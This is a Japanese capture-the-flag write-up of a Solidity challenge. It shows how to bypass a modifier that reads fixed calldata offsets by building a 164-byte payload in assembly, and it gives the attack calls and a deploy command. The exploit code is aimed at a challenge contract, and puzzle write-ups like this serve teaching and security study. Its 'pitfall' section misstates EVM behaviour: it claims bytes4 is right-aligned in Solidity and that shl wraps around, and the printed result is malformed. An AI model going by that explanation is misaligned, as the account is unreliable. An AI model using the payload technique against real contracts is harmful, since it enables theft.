Appearance
S2C7: Calldata FTW
1. 問題
コントラクトには onlyMintFlag modifier があり、これは calldata[68:72] から 4 バイトを読み取り、それが mintFlag の関数セレクタと等しいことを要求します。このチェックをバイパスして mintFlag を呼び出す必要があります。
2. 原因
onlyMintFlag modifier は calldataload を使用して calldata の固定位置(オフセット 68)を直接読み取っており、Solidity の型システムを使用していません。ABI エンコードにおける bytes パラメータのオフセットを操作することで、mintFlag セレクタを calldata[68:72] に正確に配置できます。
3. 解決策
カスタム calldata を構築し、bytes パラメータの ABI オフセットが、modifier がチェックする位置がちょうど mintFlag の関数セレクタになるような位置を指すようにします:
calldata レイアウト (164 bytes):
[0:4] = mint() セレクタ (0x7ba0e2e7)
[4:36] = オフセット 0x7C (bytes data の位置を指す)
[36:68] = パディング
[68:72] = 0xe00d023f (mintFlag() セレクタ — modifier がここを読み取る!)
[72:128]= パディング
[128:160]= 0x04 (data length)
[160:164]= ターゲット関数セレクタ
solidity
function callWithPayload(address challenge, uint256 targetWord) internal {
bytes memory payload = new bytes(164);
assembly {
let p := add(payload, 0x20)
mstore(p, 0x7ba0e2e700000000000000000000000000000000000000000000000000000000) // mint sel + offset prefix
mstore(add(p, 32), 0x0000007C00000000000000000000000000000000000000000000000000000000) // offset=0x7C + padding
mstore(add(p, 64), 0x00000000e00d023f000000000000000000000000000000000000000000000000) // mintFlag sel at [68:72]
mstore(add(p, 96), 0x0000000000000000000000000000000000000000000000000000000000000000)
mstore(add(p, 128), 0x0000000000000000000000000000000000000000000000000000000000000004) // length=4
mstore(add(p, 160), targetWord)
}
(bool ok,) = challenge.call(payload); require(ok);
}
2 ステップ実行:
mint()を_data = allowMinter()で呼び出す → 攻撃者を allowed リストに追加mint()を_data = mintFlag()で呼び出す → flag ミントをトリガー
4. 遭遇した落とし穴
落とし穴 4.1: Yul アセンブリでの shl(224, bytes4) が誤った結果を生成する
mintFlag のセレクタを計算する際、Yul アセンブリで shl(224, bytes4(selector)) を使用すると、結果が完全に誤ったものになります。
例:
solidity
bytes4 target = bytes4(keccak256("allowMinter()")); // 0x0fd16506
bytes32 asmResult;
assembly { asmResult := shl(224, target) }
// asmResult = 0xb38b84bf... (誤り!)
// 期待値 = 0x0fd16506000... (正しい)
落とし穴 4.2: calldata オフセット計算
bytes パラメータの ABI オフセットは、mintFlag セレクタの calldata 内の位置 (68) を正確に指す必要があります。
落とし穴 4.3: forge create --broadcast が無効
forge create --broadcast は OP Mainnet 上で常に "Dry run enabled" と表示され、トランザクションをブロードキャストできません。
5. 落とし穴の原因
原因 5.1: Yul アセンブリにおける bytes4 のメモリレイアウト
Solidity では、bytes4 は右詰めです(32 バイトのスタックスロットの下位 4 バイトを占有)。しかし、Yul インラインアセンブリでは、bytes4 値は 32 バイトのスタックスロットの上位(左側)に配置されます。つまり左詰めです。
Solidity での bytes4(0x0fd16506):
0x000000000000000000000000000000000000000000000000000000000fd16506
(右詰め、下位 4 バイトを占有)
Yul アセンブリでの bytes4(0x0fd16506):
0x0fd1650600000000000000000000000000000000000000000000000000000000
(左詰め、上位 4 バイトを占有)
shl(224, bytes4_value) を実行すると:
- 期待:右詰めの下位 4 バイトを左に 224 ビットシフト → セレクタが上位に到達
- 実際:左詰めの上位 4 バイトを左に 224 ビットシフト → すべての意味のあるデータが範囲外に!上位がゴミデータになる
// Solidity レベル (正しい)
uint256(uint32(0x0fd16506)) << 224
= 0x0fd1650600000000000000000000000000000000000000000000000000000000
// Yul アセンブリ (誤り!)
shl(224, 0x0fd1650600000000000000000000000000000000000000000000000000000000)
= 0xb38b84bf0000000000000000000000000000000000000000000000000000000000
// (ゴミ!データが 256 ビット範囲外にシフトされてラップアラウンド)
原因 5.2: calldata オフセット
ABI エンコードにおける bytes 型のエンコード方法は:静的部分にオフセットを格納し、動的部分に length + data を格納します。オフセットはパラメータブロックの先頭からの相対オフセットです。modifier の読み取り位置がターゲットセレクタと正確に一致するように慎重に計算する必要があります。
原因 5.3: forge create のバグ
forge create --broadcast は OP Mainnet 上で既知の問題があり、ブロードキャストロジックが失敗する可能性があります。代わりに forge script を使用する必要があります。
6. 解決方法
解決 6.1: Yul での bytes4 操作を避ける
solidity
// 正しい方法:Solidity レベルで uint256 に変換
bytes4 selector = bytes4(keccak256("allowMinter()"));
uint256 targetWord = uint256(uint32(selector)) << 224;
// または事前計算値をハードコード
uint256 hardcoded = 0x0fd1650600000000000000000000000000000000000000000000000000000000;
本解決策ではハードコードされた事前計算値を使用してこの問題を完全に回避しています。
解決 6.2: 手動での calldata 構築
Solidity の ABI エンコードを使用せず、assembly 内で直接 164 バイトのペイロードを手動で構築します。
解決 6.3: forge script の使用
bash
forge script script/S2C7Deploy.s.sol --rpc-url $RPC --private-key $PK --broadcast
7. 技術的ポイント
| ポイント | 説明 |
|---|---|
| ABI calldata エンコード | bytes 型のエンコードは静的部分にオフセット、動的部分に length + data を格納 |
| calldataload バイパス | calldata を直接読み取る modifier は calldata 操作によってバイパス可能 |
| Yul bytes4 アライメントの落とし穴 | アセンブリでは bytes4 は左詰めであり、シフト操作の結果が Solidity と異なる |
| カスタム calldata | assembly mstore を使用して任意の calldata レイアウトを構築 |
| forge create のバグ | OP Mainnet 上では forge create --broadcast は使用不可 |
コアコード:solutions/season2/Challenge7Solution.sol診断テスト:test/Bytes4Shift.t.solデプロイスクリプト:script/S2C7Deploy.s.sol